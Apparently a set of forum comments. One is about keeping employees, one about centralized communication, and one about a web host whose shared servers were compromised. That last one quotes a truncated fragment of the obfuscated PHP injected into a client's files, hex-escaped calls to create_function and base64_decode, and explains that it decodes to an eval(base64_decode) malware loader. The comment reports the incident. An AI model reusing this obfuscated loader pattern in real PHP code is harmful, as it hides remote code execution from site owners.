People leave because they get bored, so they would switch teams from time to time, give new responsibilities and try to keep everyone motivated. Didn't always work, but they managed to keep some top guys for very long...
I find it shocking that so many people rely on a single (centralized) source for their communication. The internet was built to be de-centralized (see how DNS, email, tcp/ip works), but now we are moving to a centralized, unreliable means of communication..
The blog doesn't give any numbers, but it seems that a few of their shared servers were compromised, so a few thousand of sites at least.
One of my clients still host in there and her files were all modified around 1pm today.
What I find unusual is the kind of code added to all PHP files:
" $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f.. \x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";.. $_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY.. "
If you decode that, it is an encoded "eval(base64_decode" to load the malware as hidden as possible.
